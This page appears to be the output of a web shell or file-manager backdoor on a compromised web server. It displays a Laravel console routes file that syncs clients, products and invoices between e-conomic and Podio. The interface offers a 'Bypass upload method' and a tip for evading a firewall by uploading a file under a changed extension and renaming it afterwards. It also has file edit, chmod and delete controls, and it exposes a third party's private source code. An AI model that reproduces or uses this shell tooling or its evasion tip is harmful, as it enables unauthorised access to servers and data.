Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
var
www
invoice-sync.bitkit.dk
httpdocs
routes
File Content:
console.php
<?php use App\Http\Controllers\TestController; use App\Http\Modules\Auth\PodioAuthentication; use App\Http\Modules\DataFormatter\ToPodio\BookedInvoice as ToPodioBookedInvoice; use App\Http\Modules\DataFormatter\ToPodio\BookedInvoiceCreation as ToPodioInvoice; use App\Http\Modules\DataFormatter\ToPodio\InvoiceLine as ToPodioInvoiceLine; use App\Http\Modules\DataFormatter\ToPodio\Product as ToPodioProduct; use App\Http\Service\Economic\EconomicInvoiceSync; use App\Http\Service\Economic\EconomicProductSync; use App\Http\Service\Podio\PodioInvoiceSync; use App\Http\Modules\ApiWrapper\EconomicApi; use App\Http\Modules\ApiWrapper\PodioApi; use App\Jobs\HookHandler; use App\Models\HookDetails; use App\Models\Hooks; use App\Models\Client; use App\Models\Product; use App\Http\Modules\DataFormatter\ToPodio\Client as ToPodioClient; use App\Models\UnprocessedHooks; use Illuminate\Foundation\Inspiring; use Illuminate\Support\Facades\Artisan; use Illuminate\Support\Facades\Log; /* |-------------------------------------------------------------------------- | Console Routes |-------------------------------------------------------------------------- | | This file is where you may define all of your Closure based console | commands. Each Closure is bound to a command instance allowing a | simple approach to interacting with each command's IO methods. | */ Artisan::command('inspire', function () { $this->comment(Inspiring::quote()); })->purpose('Display an inspiring quote'); Artisan::command('/test-product-api', function () { $test = new TestController(); $test->getProductDetails(); }); Artisan::command('/test-invoice-api', function () { $test = new TestController(); $test->getinvoiceDetails(); }); Artisan::command('/get-draft-no', function () { $test = new TestController(); $test->getDraftNo(); }); Artisan::command('get-vatZones', function () { $test = new TestController(); $test->getVatZones(); }); Artisan::command('/job-test', function () { $hook = Hooks::first(); HookHandler::dispatch($hook); }); Artisan::command('/test-product-service', function () { $hook = Hooks::first(); $sync = new EconomicProductSync($hook); $sync->processProductItem(); }); Artisan::command('/test-invoice-service', function () { $hook = Hooks::first(); $sync = new EconomicInvoiceSync($hook); $sync->processInvoiceItem(); }); Artisan::command('/test-invoice-create', function () { $hook = Hooks::first(); $sync = new PodioInvoiceSync($hook); $sync->processPodioInvoiceSync(); }); Artisan::command('/test-client-service', function () { $hook = Hooks::first(); $sync = new \App\Http\Service\Podio\PodioClientSync($hook); $sync->processPodioClientItem(); }); Artisan::command('update-economic', function () { $economicApi = new EconomicApi(); $properties = [ 'currency' => 'DKK', 'recipient' => [ 'name' => 'E-CONOMIC DANMARK A/S', 'vatZone' => [ 'vatZoneNumber' => 1 ] ], 'references' => [ 'other' => "33333" ], 'customer' => [ 'customerNumber' => 1 ], 'date' => '2022-11-01', 'paymentTerms' => [ 'paymentTermsNumber' => 1 ], ]; $economicApi->updateInvoiceItemId($properties, 30065); }); //------------------------------------------------------------------------------------------------------------ //script for syncing all items from economic to podio //To add all customers from economic to podio Artisan::command('/sync-clients', function () { $economicApi = new EconomicApi(); $podioApi = new PodioApi(); $endpoint = "customers"; $allClients = $economicApi->callCurlApi($endpoint)['collection']; foreach ($allClients as $client) { if (is_array($client)) { if (array_key_exists('customerNumber', $client)) { $custNo = $client['customerNumber']; if (isset($custNo)) { $toPodio = new ToPodioClient($client); $attributes = $toPodio->getData(); Log::info($custNo . ' : ' . $client['name']); //check if exist in podio $searchAttributes = [ 'query' => (string)$custNo, 'ref_type' => 'item', ]; $podioApi->podioAuth(config('podio.app_auth.client.app_id'), config('podio.app_auth.client.app_secret')); $itemCollection = Podio::post("/search/app/24706407/", $searchAttributes)->json_body(); $count = count($itemCollection); if ($count == 0) { Log::info('create client'); $response = $podioApi->podioItemCreate(config('podio.app_auth.client.app_id'), $attributes); if ($response) { Client::create(['client_no' => $client['customerNumber'], 'name' => $client['name'], 'email' => $client['email'], 'source' => 'economic', 'podio_item_id' => $response->item_id]); } } else { Log::info('update client'); $itemId = null; foreach ($itemCollection as $item) { $itemId = $item['item']['item_id']; } $podioApi->podioItemUpdate($itemId, $attributes); Client::create(['client_no' => $client['customerNumber'], 'name' => $client['name'], 'email' => $client['email'], 'source' => 'economic', 'podio_item_id' => $itemId]); } } } } } }); Artisan::command('/sync-products', function () { $economicApi = new EconomicApi(); $podioApi = new PodioApi(); //https://restapi.e-conomic.com/products?skippages=0&pagesize=20 $endpoint = "products?skippages=4&pagesize=20"; $allProducts = $economicApi->callCurlApi($endpoint)['collection']; foreach ($allProducts as $product) { if (is_array($product)) { if (array_key_exists('productNumber', $product)) { $prodNo = null; $prodNo = $product['productNumber']; if (isset($prodNo)) { $toPodio = new ToPodioProduct($product); $attributes = $toPodio->getData(); Log::info($prodNo . ' : ' . $product['name']); //check if exist in podio $searchAttributes = [ 'query' => $prodNo, 'ref_type' => 'item', ]; $podioApi->podioAuth(config('podio.app_auth.product.app_id'), config('podio.app_auth.product.app_secret')); $itemCollection = Podio::post("/search/app/23723784/", $searchAttributes)->json_body(); $count = count($itemCollection); if ($count == 0) { Log::info('create product'); $response = $podioApi->podioItemCreate(config('podio.app_auth.product.app_id'), $attributes); if ($response) { Product::create(['product_no' => $prodNo, 'name' => $product['name'], 'source' => 'economic', 'podio_item_id' => $response->item_id]); } } else { Log::info('update product'); $itemId = null; foreach ($itemCollection as $item) { $itemId = $item['item']['item_id']; } $podioApi->podioItemUpdate($itemId, $attributes); Product::create(['product_no' => $prodNo, 'name' => $product['name'], 'source' => 'economic', 'podio_item_id' => $itemId]); } } } } } }); Artisan::command('/sync-invoice-drafts', function () { $economicApi = new EconomicApi(); $podioApi = new PodioApi(); $allDrafts = $economicApi->getAllInvoiceDrafts(); foreach ($allDrafts as $allDraft) { foreach ($allDraft as $draft) { $draftNo = $draft['draftInvoiceNumber']; $toPodio = new ToPodioInvoice($draft); $attributes = $toPodio->getData(); //check if exist in podio $filterAttributes = array( 'filters' => array( 'e-invoice-draft-no' => $draftNo ), 'limit' => 1, 'offset' => 0 ); $itemCollection = $podioApi->filterPodioItems($filterAttributes, config('podio.app_auth.invoice.app_id')); $count = count($itemCollection); $options = ['silent' => true, 'hook' => false]; if ($count == 0) { //create new $response = $this->podioApi->podioItemCreate(config('podio.app_auth.invoice.app_id'), $attributes, $options); if ($response) { $hookDetails = HookDetails::whereObjectNo($draftNo) ->whereType('invoice') ->whereNull('podio_item_id') ->first(); if (!$hookDetails) { $newHook = HookDetails::create(['object_no' => $draftNo, 'type' => 'invoice', 'source' => 'economic', 'podio_item_id' => $response->item_id]); UnprocessedHooks::create(['object_no' => $draftNo, 'type' => 'invoice', 'hookDetailsId' => $newHook->id, 'podio_item_id' => $response->item_id, 'processed' => 'true']); } } } else { //update existing $itemId = null; foreach ($itemCollection as $item) { $itemId = $item->item_id; } $response = $podioApi->podioItemUpdate($itemId, $attributes); if ($response) { $hookDetails = HookDetails::whereObjectNo($draftNo) ->whereType('invoice') ->whereNull('podio_item_id') ->first(); if (!$hookDetails) { $newHook = HookDetails::create(['object_no' => $draftNo, 'type' => 'invoice', 'source' => 'economic', 'podio_item_id' => $response->item_id]); UnprocessedHooks::create(['object_no' => $draftNo, 'type' => 'invoice', 'hookDetailsId' => $newHook->id, 'podio_item_id' => $response->item_id, 'processed' => 'true']); } } } } } }); Artisan::command('sync-booked-invoices', function () { $podioAuth = new \App\Http\Modules\Auth\PodioAuthentication(); $podioAuth->authenticatePodio(); $economicApi = new EconomicApi(); $podioApi = new PodioApi(); // date > 2021-01-01 // 'results' => 1257, // 'resultsWithoutFilter' => 4685, // 'firstPage' => 'https://restapi.e-conomic.com/invoices/booked?filter=date%24gt%3A2021-01-01&skippages=0&pagesize=20', // 'nextPage' => 'https://restapi.e-conomic.com/invoices/booked?filter=date%24gt%3A2021-01-01&skippages=1&pagesize=20', // 'lastPage' => 'https://restapi.e-conomic.com/invoices/booked?filter=date%24gt%3A2021-01-01&skippages=63&pagesize=20', //$endpoint = "invoices/booked"; $date = '2021-01-01'; $no = 4909; // $endpoint = 'invoices/booked?filter=date$gt:' . $date . '&skippages=63&pagesize=20'; // $endpoint = 'invoices/booked?filter=bookedInvoiceNumber$gt:' . $no; $endpoint = 'invoices/booked?filter=references.other$eq:2596031168'; // $endpoint = 'invoices/drafts?filter=soap.currentInvoiceHandle.id$eq:946'; $bookedInvoices = $economicApi->callCurlApi($endpoint); //dd($bookedInvoices); if (count($bookedInvoices['collection']) > 0) { foreach ($bookedInvoices['collection'] as $bookedInvoice) { if (array_key_exists('bookedInvoiceNumber', $bookedInvoice)) { $invoiceNo = $bookedInvoice['bookedInvoiceNumber']; $lineItemsId = []; $invoiceItem = null; //check if exist in podio $searchAttributes = [ 'query' => $invoiceNo, 'ref_type' => 'item', ]; $itemCollection = Podio::get("/search/app/24554205/v2", $searchAttributes)->json_body(); $invoiceItemId = null; $proceed = true; $updateInvoice = true; $lineUpdate = false; $economicInvoiceNo = null; foreach ($itemCollection['results'] as $collection) { $invoiceItemId = null; $invoiceItemId = $collection['item']['item_id']; $itemDetails = PodioItem::get($invoiceItemId); foreach ($itemDetails->fields as $field) { if ($field->external_id == 'e-invoice-no' && $field->values == $invoiceNo) { $economicInvoiceNo = $field->values; $invoiceItem = $itemDetails; $proceed = false; $lineUpdate = true; } } } $endpoint = 'invoices/booked/' . $invoiceNo; $invoiceDetails = $economicApi->callCurlApi($endpoint); $toPodio = new ToPodioInvoice($invoiceDetails); if (!empty($invoiceItem)) { if ($economicInvoiceNo === $invoiceNo) { foreach ($invoiceItem->fields as $field) { switch ($field->external_id) { case 'e-invoice-no': Log::info('invoice exist for : ' . $invoiceNo); break; case 'payment-status': if ($field->values[0]['id'] == 2) { Log::info('paid invoice'); $updateInvoice = false; } break; case 'line-items': foreach ($field->values as $value) { $lineItemsId[] = $value->item_id; } break; } } if ($updateInvoice === true) { Log::info('------------------------------updating the exiting one : ' . $invoiceItemId); $attributes = $toPodio->getData($lineUpdate, $lineItemsId); $podioApi->podioItemUpdate($invoiceItemId, $attributes); } } } else { if ($proceed) { //create new Log::info('-----------------------------creating invoice for : ' . $invoiceNo); $attributes = $toPodio->getData($lineUpdate, $lineItemsId); $podioApi->podioItemCreate(config('podio.app_auth.invoice.app_id'), $attributes); } } } } } }); Artisan::command('/check-rate-limit', function () { $podioApi = new \App\Http\Modules\Auth\PodioAuthentication(); $podioApi->authenticatePodio(); PodioItem::get(2310013977); $response = \Podio::rate_limit_remaining(); dd($response); }); Artisan::command('sync-invoice', function () { $podioAuth = new \App\Http\Modules\Auth\PodioAuthentication(); $podioAuth->authenticatePodio(); $economicApi = new EconomicApi(); $podioApi = new PodioApi(); $endpoint = 'invoices/booked?filter=references.other$eq:2538895917'; $bookedInvoices = $economicApi->callCurlApi($endpoint); //dd($bookedInvoices); $lines = []; foreach ($bookedInvoices['collection'] as $bookedInvoice) { // dd($bookedInvoice); $invoiceNo = $bookedInvoice['bookedInvoiceNumber']; $endpoint = 'invoices/booked/' . $invoiceNo; $bookedInvoice = $economicApi->callCurlApi($endpoint); if (array_key_exists('references', $bookedInvoice)) $invoiceItemID = $bookedInvoice['references']['other'] ?? NULL; if (isset($invoiceItemID)) { $invoiceDetails = $podioApi->getInvoiceData($invoiceItemID); if (array_key_exists('line-items', $invoiceDetails)) { foreach ($invoiceDetails['line-items'] as $line) { $attributes1 = array( 'fields' => array( 'e-invoice-id' => (string)$invoiceNo, ) ); $podioApi->podioItemUpdate($line['item_id'], $attributes1, ['silent' => true, 'hook' => false]); } } $toPodio = new ToPodioBookedInvoice($bookedInvoice); $attributes = $toPodio->getData(); $podioApi->podioItemUpdate($invoiceItemID, $attributes); } } }); Artisan::command('cleanup-clients', function () { $test = new TestController(); $test->cleanUpClients(); exit; }); Artisan::command('update-hours', function () { $test = new TestController(); // $test->updateTotalHoursInWS(); $test->updateHoursTrigger(); exit; }); Artisan::command('delete-client', function () { $podioAuth = new PodioAuthentication(); $podioAuth->authenticatePodio(); $podioApi = new PodioApi(); $filterAttributes = array( 'filters' => array( 'duplicate' => [2] ), 'limit' => 200, 'offset' => 0 ); $itemCollection = $podioApi->filterPodioItems($filterAttributes, config('podio.app_auth.client.app_id')); $count = count($itemCollection); Log::info($count); foreach ($itemCollection as $item) { $itemId = $item->item_id; Log::info('----' . $itemId); try { $res = PodioItem::delete($itemId, array(), ['silent' => true, 'hook' => false]); if ($res) Log::info($itemId . ' : Item deleted'); } catch (Exception $e) { Log::info($e); } } });
Edit
Download
Unzip
Chmod
Delete